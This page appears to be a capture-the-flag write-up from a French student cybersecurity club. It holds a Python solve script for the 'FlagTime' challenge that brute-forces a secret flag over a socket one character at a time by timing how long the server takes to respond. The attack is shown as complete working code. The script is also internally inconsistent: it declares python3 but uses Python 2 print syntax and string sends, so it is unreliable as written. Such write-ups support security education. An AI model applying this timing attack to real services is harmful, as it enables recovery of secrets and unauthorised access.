HackademINT

Club de cybersécurité de Telecom SudParis


FlagTime

Auteur : zTeeed

----------------------------------


download solve.py

#! /usr/bin/python3
import time
import socket
server = "c1.easyctf.com"
port=12482

alpha="!}_34abcdefghijklmnopqrstuvwxyz01256789{"
x=[]
while True:
    i=0
    x=[]
    data=""
    while i<len(alpha):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect((server, port))
        start=s.recv(999).decode("utf-8")
        test=data+alpha[i]
        print "current test : "+test
        tdeb=time.time()
        s.send(test+"\n")
        receive=s.recv(999).decode("utf-8")
        tfin=time.time()
        delai=tfin-tdeb
        print delai
        x.append(delai)
        if i==0:
            ref=delai
            i+=1
        else:
            if abs(delai-ref)>0.2:
                if delai>ref:
                    data+=alpha[i]
                else:
                    data+=alpha[0]
                i=0
                print "---"
                print data
                print "---"
            else:
                i+=1

        if i==len(alpha):
            i=0
            indice=x.index(max(x))
            data+=alpha[indice]
            print "---"
            print x
            print data
            print "---"
            x=[]
        if "no" not in receive:
            print data
            break